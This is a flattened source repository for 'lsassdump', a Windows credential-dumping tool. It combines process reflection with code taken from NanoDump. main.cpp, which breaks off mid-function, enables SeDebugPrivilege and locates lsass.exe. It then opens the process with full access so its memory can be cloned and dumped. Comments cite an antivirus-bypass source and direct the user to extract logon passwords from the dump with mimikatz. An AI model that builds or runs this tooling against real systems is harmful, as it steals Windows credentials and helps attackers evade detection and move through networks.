├── CMakeLists.txt ├── src ├── utils.h ├── lsassdump.vcxproj.filters ├── utils.c ├── lsassdump.vcxproj ├── main.cpp ├── nanodump.h └── nanodump.c ├── LICENSE.nanodump ├── LICENSE ├── README.md ├── lsassdump.sln └── .gitignore /CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.15) 2 | 3 | project(lsassdump) 4 | 5 | if (MSVC) 6 | # warning level 4 7 | add_compile_options(/GS-) 8 | else() 9 | endif() 10 | 11 | add_definitions(-D_UNICODE) 12 | add_executable(lsassdump src/main.cpp src/nanodump.c src/utils.c) 13 | -------------------------------------------------------------------------------- /src/utils.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #ifdef _DEBUG 4 | #define WCSNLEN wcsnlen 5 | #define _WCSICMP _wcsicmp 6 | #else 7 | #ifdef __cplusplus 8 | extern "C" 9 | #endif 10 | size_t __cdecl nocrt_wcsnlen( 11 | _In_reads_or_z_(_MaxCount) wchar_t const* _Source, 12 | _In_ size_t _MaxCount 13 | ); 14 | 15 | #ifdef __cplusplus 16 | extern "C" 17 | #endif 18 | int __cdecl nocrt_wcsicmp( 19 | _In_z_ wchar_t const* _String1, 20 | _In_z_ wchar_t const* _String2 21 | ); 22 | 23 | #define WCSNLEN nocrt_wcsnlen 24 | #define _WCSICMP nocrt_wcsicmp 25 | 26 | #endif 27 | -------------------------------------------------------------------------------- /LICENSE.nanodump: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 Fortra 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 cod 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | 23 | For Nanodump, see LICENSE.nanodump 24 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # lsassdump 2 | 3 | This project merges the following project: 4 | - Spawning a process via `RtlCreateProcessReflection` - The original POC is available on [GitHub](https://gist.github.com/GeneralTesler/68903f7eb00f047d32a4d6c55da5a05c) 5 | - NanoDumpWriteDump (extracted from NanoDump project) 6 | 7 | If you want to change the output file, change the path specified in `src/main.cpp` in CreateFile api. 8 | The `MiniDumpWriteDump` API has been replaced with `NanoDumpWriteDump` from NanoDump project. 9 | 10 | ## How to build 11 | For building you can use 12 | - msbuild 13 | - cmake 14 | - Visual C++ via command line 15 | 16 | To build a minimal file (VS 2022 ~16Kb) you need to use the Release profile (x64). 17 | 18 | - From Visual Studio choose x64 | release 19 | - From x64 Developer Prompt: `MSBuild dumplsass.sln -t:Rebuild -p:Configuration=Release` 20 | - Via CMake: `cmake -S . -B build/ -D CMAKE_BUILD_TYPE=Release && cmake --build build --config Release` 21 | 22 | ## NanoDump 23 | 24 | NanoDump documentation is available at https://www.coresecurity.com/core-labs/articles/nanodump-red-team-approach-minidumps 25 | Source code is available [here](https://github.com/fortra/nanodump/). 26 | 27 | To avoid to include all nanodump features, I just merged into nanodump all functions/definitions used by `NanoDumpWriteDump`. 28 | 29 | -------------------------------------------------------------------------------- /src/lsassdump.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | Source Files 26 | 27 | 28 | 29 | 30 | Header Files 31 | 32 | 33 | Header Files 34 | 35 | 36 | -------------------------------------------------------------------------------- /lsassdump.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.10.35122.118 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "lsassdump", "src\lsassdump.vcxproj", "{248F71AA-56C4-4007-91C8-19FF65F0B572}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {248F71AA-56C4-4007-91C8-19FF65F0B572}.Debug|x64.ActiveCfg = Debug|x64 17 | {248F71AA-56C4-4007-91C8-19FF65F0B572}.Debug|x64.Build.0 = Debug|x64 18 | {248F71AA-56C4-4007-91C8-19FF65F0B572}.Debug|x86.ActiveCfg = Debug|Win32 19 | {248F71AA-56C4-4007-91C8-19FF65F0B572}.Debug|x86.Build.0 = Debug|Win32 20 | {248F71AA-56C4-4007-91C8-19FF65F0B572}.Release|x64.ActiveCfg = Release|x64 21 | {248F71AA-56C4-4007-91C8-19FF65F0B572}.Release|x64.Build.0 = Release|x64 22 | {248F71AA-56C4-4007-91C8-19FF65F0B572}.Release|x86.ActiveCfg = Release|Win32 23 | {248F71AA-56C4-4007-91C8-19FF65F0B572}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {1306E085-5806-3EFA-A2CA-ADAB23BF4E8F} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /src/utils.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | /** return the number of characters in _Source or _MaxCount if exceeds */ 4 | size_t __cdecl nocrt_wcsnlen( 5 | _In_reads_or_z_(_MaxCount) wchar_t const* _Source, 6 | _In_ size_t _MaxCount 7 | ) 8 | { 9 | size_t size = 0; 10 | if (_Source != NULL) 11 | { 12 | const wchar_t* tmp = (const wchar_t*)_Source; 13 | 14 | while (*tmp != 0 && size < _MaxCount) 15 | { 16 | size++; 17 | tmp++; 18 | } 19 | } 20 | 21 | return size; 22 | } 23 | 24 | size_t __cdecl nocrt_wcslen(const wchar_t * _Source) 25 | { 26 | size_t size = 0; 27 | if (_Source != NULL) 28 | { 29 | for (; *_Source != 0; _Source++, size++); 30 | } 31 | 32 | return size; 33 | } 34 | 35 | #define isupper(c) (c >= L'A' && c<= L'Z') 36 | 37 | wchar_t __cdecl nocrt_towlower(wchar_t c) 38 | { 39 | if (isupper(c)) 40 | return c - L'A' + 'a'; 41 | return c; 42 | } 43 | 44 | /** compare _String1 and _String2 in lowercase */ 45 | int __cdecl nocrt_wcsicmp( 46 | _In_z_ wchar_t const* _String1, 47 | _In_z_ wchar_t const* _String2 48 | ) 49 | { 50 | if (_String1 == _String2) 51 | return 0; 52 | 53 | if (nocrt_wcslen(_String1) != nocrt_wcslen(_String2)) 54 | return -1; 55 | 56 | const wchar_t* a = (const wchar_t*)_String1; 57 | const wchar_t* b = (const wchar_t*)_String2; 58 | 59 | while (*a != 0 && *b != 0) 60 | { 61 | if (nocrt_towlower(*a) != nocrt_towlower(*b)) 62 | return -1; 63 | a++; b++; 64 | } 65 | 66 | return 0; 67 | } 68 | 69 | -------------------------------------------------------------------------------- /src/lsassdump.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 17.0 23 | Win32Proj 24 | {248f71aa-56c4-4007-91c8-19ff65f0b572} 25 | lsassdump 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v143 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v143 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v143 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v143 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | $(SolutionDir)build\ 75 | $(SolutionDir)build\$(ProjectName)\ 76 | 77 | 78 | $(SolutionDir)build\ 79 | $(SolutionDir)build\$(ProjectName)\ 80 | 81 | 82 | $(SolutionDir)build\ 83 | $(SolutionDir)build\$(ProjectName)\ 84 | 85 | 86 | $(SolutionDir)build\ 87 | $(SolutionDir)build\$(ProjectName)\ 88 | 89 | 90 | 91 | Level3 92 | true 93 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 94 | true 95 | 96 | 97 | Console 98 | true 99 | 100 | 101 | 102 | 103 | Level3 104 | true 105 | true 106 | true 107 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 108 | true 109 | MultiThreaded 110 | 111 | 112 | Console 113 | true 114 | true 115 | true 116 | true 117 | ntdll.lib;libvcruntime.lib;libcmt.lib;ucrt.lib;kernel32.lib;$(CoreLibraryDependencies);%(AdditionalDependencies) 118 | main 119 | 120 | 121 | 122 | 123 | Level3 124 | true 125 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 126 | true 127 | 128 | 129 | Console 130 | true 131 | 132 | 133 | 134 | 135 | Level3 136 | true 137 | true 138 | false 139 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 140 | true 141 | MultiThreaded 142 | false 143 | 144 | 145 | Console 146 | true 147 | true 148 | true 149 | true 150 | ntdll.lib;libvcruntime.lib;libcmt.lib;ucrt.lib;kernel32.lib;$(CoreLibraryDependencies);%(AdditionalDependencies) 151 | main 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/main/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Ww][Ii][Nn]32/ 27 | [Aa][Rr][Mm]/ 28 | [Aa][Rr][Mm]64/ 29 | bld/ 30 | [Bb]in/ 31 | [Oo]bj/ 32 | [Ll]og/ 33 | [Ll]ogs/ 34 | *.exe 35 | *.obj 36 | [Bb]uild/ 37 | 38 | # IDA files 39 | *.id0 40 | *.id1 41 | *.id2 42 | *.nam 43 | *.til 44 | 45 | # Visual Studio 2015/2017 cache/options directory 46 | .vs/ 47 | # Uncomment if you have tasks that create the project's static files in wwwroot 48 | #wwwroot/ 49 | 50 | # Visual Studio 2017 auto generated files 51 | Generated\ Files/ 52 | 53 | # MSTest test Results 54 | [Tt]est[Rr]esult*/ 55 | [Bb]uild[Ll]og.* 56 | 57 | # NUnit 58 | *.VisualState.xml 59 | TestResult.xml 60 | nunit-*.xml 61 | 62 | # Build Results of an ATL Project 63 | [Dd]ebugPS/ 64 | [Rr]eleasePS/ 65 | dlldata.c 66 | 67 | # Benchmark Results 68 | BenchmarkDotNet.Artifacts/ 69 | 70 | # .NET Core 71 | project.lock.json 72 | project.fragment.lock.json 73 | artifacts/ 74 | 75 | # ASP.NET Scaffolding 76 | ScaffoldingReadMe.txt 77 | 78 | # StyleCop 79 | StyleCopReport.xml 80 | 81 | # Files built by Visual Studio 82 | *_i.c 83 | *_p.c 84 | *_h.h 85 | *.ilk 86 | *.meta 87 | *.obj 88 | *.iobj 89 | *.pch 90 | *.pdb 91 | *.ipdb 92 | *.pgc 93 | *.pgd 94 | *.rsp 95 | *.sbr 96 | *.tlb 97 | *.tli 98 | *.tlh 99 | *.tmp 100 | *.tmp_proj 101 | *_wpftmp.csproj 102 | *.log 103 | *.tlog 104 | *.vspscc 105 | *.vssscc 106 | .builds 107 | *.pidb 108 | *.svclog 109 | *.scc 110 | 111 | # Chutzpah Test files 112 | _Chutzpah* 113 | 114 | # Visual C++ cache files 115 | ipch/ 116 | *.aps 117 | *.ncb 118 | *.opendb 119 | *.opensdf 120 | *.sdf 121 | *.cachefile 122 | *.VC.db 123 | *.VC.VC.opendb 124 | 125 | # Visual Studio profiler 126 | *.psess 127 | *.vsp 128 | *.vspx 129 | *.sap 130 | 131 | # Visual Studio Trace Files 132 | *.e2e 133 | 134 | # TFS 2012 Local Workspace 135 | $tf/ 136 | 137 | # Guidance Automation Toolkit 138 | *.gpState 139 | 140 | # ReSharper is a .NET coding add-in 141 | _ReSharper*/ 142 | *.[Rr]e[Ss]harper 143 | *.DotSettings.user 144 | 145 | # TeamCity is a build add-in 146 | _TeamCity* 147 | 148 | # DotCover is a Code Coverage Tool 149 | *.dotCover 150 | 151 | # AxoCover is a Code Coverage Tool 152 | .axoCover/* 153 | !.axoCover/settings.json 154 | 155 | # Coverlet is a free, cross platform Code Coverage Tool 156 | coverage*.json 157 | coverage*.xml 158 | coverage*.info 159 | 160 | # Visual Studio code coverage results 161 | *.coverage 162 | *.coveragexml 163 | 164 | # NCrunch 165 | _NCrunch_* 166 | .*crunch*.local.xml 167 | nCrunchTemp_* 168 | 169 | # MightyMoose 170 | *.mm.* 171 | AutoTest.Net/ 172 | 173 | # Web workbench (sass) 174 | .sass-cache/ 175 | 176 | # Installshield output folder 177 | [Ee]xpress/ 178 | 179 | # DocProject is a documentation generator add-in 180 | DocProject/buildhelp/ 181 | DocProject/Help/*.HxT 182 | DocProject/Help/*.HxC 183 | DocProject/Help/*.hhc 184 | DocProject/Help/*.hhk 185 | DocProject/Help/*.hhp 186 | DocProject/Help/Html2 187 | DocProject/Help/html 188 | 189 | # Click-Once directory 190 | publish/ 191 | 192 | # Publish Web Output 193 | *.[Pp]ublish.xml 194 | *.azurePubxml 195 | # Note: Comment the next line if you want to checkin your web deploy settings, 196 | # but database connection strings (with potential passwords) will be unencrypted 197 | *.pubxml 198 | *.publishproj 199 | 200 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 201 | # checkin your Azure Web App publish settings, but sensitive information contained 202 | # in these scripts will be unencrypted 203 | PublishScripts/ 204 | 205 | # NuGet Packages 206 | *.nupkg 207 | # NuGet Symbol Packages 208 | *.snupkg 209 | # The packages folder can be ignored because of Package Restore 210 | **/[Pp]ackages/* 211 | # except build/, which is used as an MSBuild target. 212 | !**/[Pp]ackages/build/ 213 | # Uncomment if necessary however generally it will be regenerated when needed 214 | #!**/[Pp]ackages/repositories.config 215 | # NuGet v3's project.json files produces more ignorable files 216 | *.nuget.props 217 | *.nuget.targets 218 | 219 | # Microsoft Azure Build Output 220 | csx/ 221 | *.build.csdef 222 | 223 | # Microsoft Azure Emulator 224 | ecf/ 225 | rcf/ 226 | 227 | # Windows Store app package directories and files 228 | AppPackages/ 229 | BundleArtifacts/ 230 | Package.StoreAssociation.xml 231 | _pkginfo.txt 232 | *.appx 233 | *.appxbundle 234 | *.appxupload 235 | 236 | # Visual Studio cache files 237 | # files ending in .cache can be ignored 238 | *.[Cc]ache 239 | # but keep track of directories ending in .cache 240 | !?*.[Cc]ache/ 241 | 242 | # Others 243 | ClientBin/ 244 | ~$* 245 | *~ 246 | *.dbmdl 247 | *.dbproj.schemaview 248 | *.jfm 249 | *.pfx 250 | *.publishsettings 251 | orleans.codegen.cs 252 | 253 | # Including strong name files can present a security risk 254 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 255 | #*.snk 256 | 257 | # Since there are multiple workflows, uncomment next line to ignore bower_components 258 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 259 | #bower_components/ 260 | 261 | # RIA/Silverlight projects 262 | Generated_Code/ 263 | 264 | # Backup & report files from converting an old project file 265 | # to a newer Visual Studio version. Backup files are not needed, 266 | # because we have git ;-) 267 | _UpgradeReport_Files/ 268 | Backup*/ 269 | UpgradeLog*.XML 270 | UpgradeLog*.htm 271 | ServiceFabricBackup/ 272 | *.rptproj.bak 273 | 274 | # SQL Server files 275 | *.mdf 276 | *.ldf 277 | *.ndf 278 | 279 | # Business Intelligence projects 280 | *.rdl.data 281 | *.bim.layout 282 | *.bim_*.settings 283 | *.rptproj.rsuser 284 | *- [Bb]ackup.rdl 285 | *- [Bb]ackup ([0-9]).rdl 286 | *- [Bb]ackup ([0-9][0-9]).rdl 287 | 288 | # Microsoft Fakes 289 | FakesAssemblies/ 290 | 291 | # GhostDoc plugin setting file 292 | *.GhostDoc.xml 293 | 294 | # Node.js Tools for Visual Studio 295 | .ntvs_analysis.dat 296 | node_modules/ 297 | 298 | # Visual Studio 6 build log 299 | *.plg 300 | 301 | # Visual Studio 6 workspace options file 302 | *.opt 303 | 304 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 305 | *.vbw 306 | 307 | # Visual Studio 6 auto-generated project file (contains which files were open etc.) 308 | *.vbp 309 | 310 | # Visual Studio 6 workspace and project file (working project files containing files to include in project) 311 | *.dsw 312 | *.dsp 313 | 314 | # Visual Studio 6 technical files 315 | *.ncb 316 | *.aps 317 | 318 | # Visual Studio LightSwitch build output 319 | **/*.HTMLClient/GeneratedArtifacts 320 | **/*.DesktopClient/GeneratedArtifacts 321 | **/*.DesktopClient/ModelManifest.xml 322 | **/*.Server/GeneratedArtifacts 323 | **/*.Server/ModelManifest.xml 324 | _Pvt_Extensions 325 | 326 | # Paket dependency manager 327 | .paket/paket.exe 328 | paket-files/ 329 | 330 | # FAKE - F# Make 331 | .fake/ 332 | 333 | # CodeRush personal settings 334 | .cr/personal 335 | 336 | # Python Tools for Visual Studio (PTVS) 337 | __pycache__/ 338 | *.pyc 339 | 340 | # Cake - Uncomment if you are using it 341 | # tools/** 342 | # !tools/packages.config 343 | 344 | # Tabs Studio 345 | *.tss 346 | 347 | # Telerik's JustMock configuration file 348 | *.jmconfig 349 | 350 | # BizTalk build output 351 | *.btp.cs 352 | *.btm.cs 353 | *.odx.cs 354 | *.xsd.cs 355 | 356 | # OpenCover UI analysis results 357 | OpenCover/ 358 | 359 | # Azure Stream Analytics local run output 360 | ASALocalRun/ 361 | 362 | # MSBuild Binary and Structured Log 363 | *.binlog 364 | 365 | # NVidia Nsight GPU debugger configuration file 366 | *.nvuser 367 | 368 | # MFractors (Xamarin productivity tool) working folder 369 | .mfractor/ 370 | 371 | # Local History for Visual Studio 372 | .localhistory/ 373 | 374 | # Visual Studio History (VSHistory) files 375 | .vshistory/ 376 | 377 | # BeatPulse healthcheck temp database 378 | healthchecksdb 379 | 380 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 381 | MigrationBackup/ 382 | 383 | # Ionide (cross platform F# VS Code tools) working folder 384 | .ionide/ 385 | 386 | # Fody - auto-generated XML schema 387 | FodyWeavers.xsd 388 | 389 | # VS Code files for those working on multiple tools 390 | .vscode/* 391 | !.vscode/settings.json 392 | !.vscode/tasks.json 393 | !.vscode/launch.json 394 | !.vscode/extensions.json 395 | *.code-workspace 396 | 397 | # Local History for Visual Studio Code 398 | .history/ 399 | 400 | # Windows Installer files from build outputs 401 | *.cab 402 | *.msi 403 | *.msix 404 | *.msm 405 | *.msp 406 | 407 | # JetBrains Rider 408 | *.sln.iml 409 | -------------------------------------------------------------------------------- /src/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include "nanodump.h" 8 | #include "utils.h" 9 | 10 | //process reflection stuff copied from: https://github.com/hasherezade/pe-sieve/blob/master/utils/process_reflection.cpp 11 | //minidump/process searching copied from: https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass 12 | //compile using: cl.exe refl.cpp /DUNICODE 13 | //as admin, run using: refl.exe 14 | // then use mimikatz: sekurlsa::minidump refl.dmp ; sekurlsa::logonpasswords 15 | 16 | #pragma comment (lib, "Advapi32.lib") 17 | 18 | #define USE_RTL_PROCESS_REFLECTION 19 | 20 | #ifndef RTL_CLONE_PROCESS_FLAGS_CREATE_SUSPENDED 21 | #define RTL_CLONE_PROCESS_FLAGS_CREATE_SUSPENDED 0x00000001 22 | #endif 23 | 24 | #ifndef RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES 25 | #define RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES 0x00000002 26 | #endif 27 | 28 | #ifndef RTL_CLONE_PROCESS_FLAGS_NO_SYNCHRONIZE 29 | #define RTL_CLONE_PROCESS_FLAGS_NO_SYNCHRONIZE 0x00000004 // don't update synchronization objects 30 | #endif 31 | 32 | #ifndef HPSS 33 | #define HPSS HANDLE 34 | #endif 35 | 36 | const DWORD reflection_access = PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_DUP_HANDLE; 37 | 38 | typedef HANDLE HPSS; 39 | 40 | typedef struct { 41 | HANDLE UniqueProcess; 42 | HANDLE UniqueThread; 43 | } T_CLIENT_ID; 44 | 45 | typedef struct 46 | { 47 | HANDLE ReflectionProcessHandle; 48 | HANDLE ReflectionThreadHandle; 49 | T_CLIENT_ID ReflectionClientId; 50 | } T_RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION; 51 | 52 | // Win >= 7 53 | NTSTATUS(NTAPI* _RtlCreateProcessReflection) ( 54 | HANDLE ProcessHandle, 55 | ULONG Flags, 56 | PVOID StartRoutine, 57 | PVOID StartContext, 58 | HANDLE EventHandle, 59 | T_RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION* ReflectionInformation 60 | ) = NULL; 61 | 62 | // Win >= 8.1 63 | 64 | extern "C" 65 | NTSTATUS (NTAPI *_NtQueryInformationProcess)( 66 | IN HANDLE ProcessHandle, 67 | IN PROCESSINFOCLASS ProcessInformationClass, 68 | OUT PVOID ProcessInformation, 69 | IN ULONG ProcessInformationLength, 70 | OUT PULONG ReturnLength OPTIONAL 71 | ); 72 | 73 | bool load_ntdll() 74 | { 75 | if (_RtlCreateProcessReflection == NULL) 76 | { 77 | HMODULE lib = GetModuleHandleA("ntdll.dll"); 78 | if (!lib) return false; 79 | 80 | FARPROC proc = GetProcAddress(lib, "RtlCreateProcessReflection"); 81 | 82 | _RtlCreateProcessReflection = (NTSTATUS(NTAPI*) ( 83 | HANDLE, 84 | ULONG, 85 | PVOID, 86 | PVOID, 87 | HANDLE, 88 | T_RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION* 89 | )) proc; 90 | 91 | proc = GetProcAddress(lib, "NtQueryInformationProcess"); 92 | 93 | _NtQueryInformationProcess = (NTSTATUS(NTAPI*) ( 94 | HANDLE, 95 | PROCESSINFOCLASS, 96 | PVOID, 97 | ULONG, 98 | PULONG))proc; 99 | 100 | if (_RtlCreateProcessReflection == NULL || _NtQueryInformationProcess == NULL) 101 | return false; 102 | } 103 | return true; 104 | } 105 | 106 | typedef struct { 107 | HANDLE orig_hndl; 108 | HANDLE returned_hndl; 109 | DWORD returned_pid; 110 | bool is_ok; 111 | } t_refl_args; 112 | 113 | BOOL WINAPI refl_creator(t_refl_args *args) 114 | { 115 | NTSTATUS ret = S_OK; 116 | 117 | if (args != NULL) 118 | { 119 | T_RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION info = { 0 }; 120 | ret = _RtlCreateProcessReflection(args->orig_hndl, RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES, NULL, NULL, NULL, &info); 121 | if (ret == S_OK) 122 | { 123 | args->is_ok = true; 124 | args->returned_hndl = info.ReflectionProcessHandle; 125 | args->returned_pid = (DWORD)info.ReflectionClientId.UniqueProcess; 126 | DPRINT("RtlCreteProcessReflection: new PID: %d", (DWORD)info.ReflectionClientId.UniqueProcess); 127 | } 128 | else 129 | { 130 | args->is_ok = false; 131 | DPRINT("error: %d\n", GetLastError()); 132 | } 133 | } 134 | else 135 | { 136 | ret = S_FALSE; 137 | } 138 | return (ret == S_OK); 139 | } 140 | 141 | static BOOL check_vad_permission(PMEMORY_BASIC_INFORMATION mbi) 142 | { 143 | // ignore non-commited pages 144 | if (mbi->State != MEM_COMMIT) 145 | return FALSE; 146 | // ignore mapped pages 147 | if (mbi->Type == MEM_MAPPED) 148 | return FALSE; 149 | // ignore pages with PAGE_NOACCESS 150 | if ((mbi->Protect & PAGE_NOACCESS) == PAGE_NOACCESS) 151 | return FALSE; 152 | // ignore pages with PAGE_GUARD 153 | if ((mbi->Protect & PAGE_GUARD) == PAGE_GUARD) 154 | return FALSE; 155 | // ignore pages with PAGE_EXECUTE 156 | if ((mbi->Protect & PAGE_EXECUTE) == PAGE_EXECUTE) 157 | return FALSE; 158 | 159 | return TRUE; 160 | } 161 | 162 | PVOID get_peb_address( 163 | IN HANDLE hProcess) 164 | { 165 | #ifdef SSP 166 | UNUSED(hProcess); 167 | // if nanodump is running as an SSP, 168 | // avoid calling NtQueryInformationProcess 169 | return (PVOID)READ_MEMLOC(PEB_OFFSET); 170 | #else 171 | PROCESS_BASIC_INFORMATION basic_info = { 0 }; 172 | basic_info.PebBaseAddress = 0; 173 | 174 | #define ProcessInformationClass 0 175 | 176 | NTSTATUS status = _NtQueryInformationProcess( 177 | hProcess, 178 | (PROCESSINFOCLASS)ProcessInformationClass, 179 | &basic_info, 180 | sizeof(PROCESS_BASIC_INFORMATION), 181 | NULL); 182 | if (!NT_SUCCESS(status)) 183 | { 184 | DPRINT("NtQueryInformationProcess %d\n", status); 185 | DPRINT("Could not get the PEB of the process\n"); 186 | return 0; 187 | } 188 | 189 | return basic_info.PebBaseAddress; 190 | #endif 191 | } 192 | 193 | int main() 194 | { 195 | HANDLE hToken; 196 | OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken); 197 | TOKEN_PRIVILEGES tokenPriv; 198 | LUID luid; 199 | LookupPrivilegeValue(NULL, L"SeDebugPrivilege", &luid); 200 | tokenPriv.PrivilegeCount = 1; 201 | tokenPriv.Privileges[0].Luid = luid; 202 | tokenPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 203 | AdjustTokenPrivileges(hToken, FALSE, &tokenPriv, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL); 204 | 205 | DWORD lsassPID = 0; 206 | HANDLE lsassHandle = NULL; 207 | HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 208 | PROCESSENTRY32 processEntry = {}; 209 | processEntry.dwSize = sizeof(PROCESSENTRY32); 210 | LPCWSTR processName = L""; 211 | if (Process32First(snapshot, &processEntry)) { 212 | while (_WCSICMP(processName, L"lsass.exe") != 0) { 213 | Process32Next(snapshot, &processEntry); 214 | processName = processEntry.szExeFile; 215 | lsassPID = processEntry.th32ProcessID; 216 | } 217 | } 218 | 219 | //lsassPID = GetCurrentProcessId(); 220 | 221 | lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID); 222 | DPRINT("Target PID: %d\n", lsassPID); 223 | 224 | load_ntdll(); 225 | t_refl_args args = { 0 }; 226 | args.orig_hndl = lsassHandle; 227 | 